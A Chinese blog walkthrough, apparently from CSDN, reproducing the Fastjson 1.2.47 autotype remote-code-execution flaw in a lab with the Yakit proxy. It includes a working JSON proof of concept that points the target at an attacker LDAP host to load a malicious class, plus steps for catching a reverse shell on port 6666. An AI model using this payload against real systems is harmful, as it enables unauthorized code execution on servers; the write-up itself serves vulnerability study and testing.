fastjson_1.2.47rce漏洞复现

本文介绍了在Kali与win10环境中使用Yakit渗透测试工具,特别是针对Fastjson的高危漏洞进行交互式劫持和远程代码执行(RCE)的实战步骤,包括漏洞验证、数据包分析和复现方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境及工具

测试环境机:Kali:192.168.2.235

                     win10:192.168.2.215

使用工具 Yakit

Yakit 主要功能:

渗透测试工具:交互式劫持、Web Fuzzer、弱口令检测

弱口令可对常见服务端口/IP 进行爆破

漏洞检测:专项漏洞检测,批量执行

资产搜集:端口 / 指纹扫描:域名 / IP 地址,数据库 / 服务器

小工具:Codec、数据对比、Payload

查看所有劫持到的请求的历史记录以及分析请求的参数

全球第一个可视化的 Web模糊测试工具:Web Fuzzer

第三方 Yak 模块商店:社区主导的第三方 Yak 模块插件

漏洞描述

Fastjson是一个 Java 语言编写的高性能 JSON 解析器和生成器,fastjson autotype 在处理 json 对象的时候,未对 auto type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi 主机,通过其中的恶意类执行代码

漏洞等级

高危

漏洞验证

1. 启动测试环境

sudo docker-compose up -d

访问测试 IP 及端口

2. 打开 Yakit 交互劫持,进行抓包

设置监听主机 IP 和监听端口,并启用fastjson插件进行利用,之后点击“劫持启动”进行抓包

浏览器端挂上 Yakit 代理,即可在劫持中抓到数据包

3. 由图可知,抓取到了数据包,并且插件识别到了 fastjson远程命令执行的漏洞

查看该详细信息,将其请求数据包发送至重放模块(“ctrl”+“R”),进行更改数据包重放

4. 查看数据包,可以发现 Request 包中的请求内容采用了 Unicode 编码形式,故需对此数据进行解码

右键解码

将解码后的内容进行替换

5. 可先利用 Dnslog 平台进行漏洞验证

将其自动生成的可用域名复制

6. 将生成的可用域名替换到下图标记处,发送请求

可观察到 Dnslog 平台有记录生成,表名此处存在 fastjson 漏洞

漏洞复现

1. 接下来,我们利用 Yakit 的监听功能进行 rce 复现

设置监听 IP 和监听端口,此处为本机IP

2. 设置反连服务器,反连地址是本机 IP,设置反连端口,启动

3. 启动成功后,设置payload,选择恶意类,设置反连主机和反连端口,回弹到 6666 端口,因为在 6666 端口进行主机监听

在此使用到 github 中的 poc(poc可自行在github中进行搜索)

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.30.1.214:1389/my9azs",
        "autoCommit":true
    }
}

将此 poc 复制到请求数据包中

4. 将 rmi 反连地址 + 恶意类名,复制到请求数据包中的 poc 中,此处也可利用 LDAP等,进行多角度尝试

复制至此,发送数据包

发送数据包后,查看端口监听器,监听成功,可输入命令 “id” 查看权限,即可执行 rce

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值